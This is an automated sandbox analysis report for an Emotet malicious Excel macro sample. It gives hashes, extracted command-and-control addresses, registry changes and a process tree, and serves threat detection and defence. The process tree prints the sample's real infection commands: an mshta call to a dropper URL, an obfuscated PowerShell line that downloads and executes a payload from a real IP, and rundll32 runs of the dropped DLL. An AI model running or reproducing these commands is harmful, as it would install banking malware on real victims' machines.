emotet | 515c9e3ac18310c9234c70c9b9b782b3b7cf48fe16da7547ca683acc944ad997

Analysis

max time kernel
144s
max time network
144s
platform
windows7_x64
resource
win7-en-20211208
submitted
19-01-2022 12:21

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General

Target

2357791489929.xlsm
Size

114KB
MD5

59bb12f8b33655197b483c1612fdf069
SHA1

c676bb82a91acfed31a84ddc9c7835a0cf33414d
SHA256

515c9e3ac18310c9234c70c9b9b782b3b7cf48fe16da7547ca683acc944ad997
SHA512

4ce89ab6398de3fe479935723875f24b44009018416b936aadeabbf7e76c0d4ec0de9fad8497508d6dc61c46a0d8f5af1ba74dc4374bee4834a707d3e1a9b166

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1376	1668	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1356 mshta.exe
5 1836 powershell.exe
7 1836 powershell.exe
9 1732 rundll32.exe
10 1732 rundll32.exe
11 1732 rundll32.exe
13 1732 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1188 rundll32.exe
1188 rundll32.exe
1188 rundll32.exe
1188 rundll32.exe
1296 rundll32.exe
1296 rundll32.exe
1296 rundll32.exe
1296 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Cxlsxea\bjvzkef.zbh rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1356	mshta.exe
5	1836	powershell.exe
7	1836	powershell.exe
9	1732	rundll32.exe
10	1732	rundll32.exe
11	1732	rundll32.exe
13	1732	rundll32.exe

pid	process
1188	rundll32.exe
1188	rundll32.exe
1188	rundll32.exe
1188	rundll32.exe
1296	rundll32.exe
1296	rundll32.exe
1296	rundll32.exe
1296	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Cxlsxea\bjvzkef.zbh	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1668 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1836 powershell.exe
1732 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1836 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1668 EXCEL.EXE
1668 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1668 EXCEL.EXE
1668 EXCEL.EXE
1668 EXCEL.EXE

pid	process
1668	EXCEL.EXE

pid	process
1836	powershell.exe
1732	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1836	powershell.exe

pid	process
1668	EXCEL.EXE
1668	EXCEL.EXE

pid	process
1668	EXCEL.EXE
1668	EXCEL.EXE
1668	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1668 wrote to memory of 1376	1668	EXCEL.EXE	cmd.exe
PID 1668 wrote to memory of 1376	1668	EXCEL.EXE	cmd.exe
PID 1668 wrote to memory of 1376	1668	EXCEL.EXE	cmd.exe
PID 1668 wrote to memory of 1376	1668	EXCEL.EXE	cmd.exe
PID 1376 wrote to memory of 1356	1376	cmd.exe	mshta.exe
PID 1376 wrote to memory of 1356	1376	cmd.exe	mshta.exe
PID 1376 wrote to memory of 1356	1376	cmd.exe	mshta.exe
PID 1376 wrote to memory of 1356	1376	cmd.exe	mshta.exe
PID 1356 wrote to memory of 1836	1356	mshta.exe	powershell.exe
PID 1356 wrote to memory of 1836	1356	mshta.exe	powershell.exe
PID 1356 wrote to memory of 1836	1356	mshta.exe	powershell.exe
PID 1356 wrote to memory of 1836	1356	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2008	1836	powershell.exe	cmd.exe
PID 1836 wrote to memory of 2008	1836	powershell.exe	cmd.exe
PID 1836 wrote to memory of 2008	1836	powershell.exe	cmd.exe
PID 1836 wrote to memory of 2008	1836	powershell.exe	cmd.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 2008 wrote to memory of 1188	2008	cmd.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 1296	1188	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1296 wrote to memory of 1676	1296	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 1732	1676	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2357791489929.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:1356
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1836
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2008
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1188
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1296
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cxlsxea\bjvzkef.zbh",QdwKVxQYSiwj
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1676
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cxlsxea\bjvzkef.zbh",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
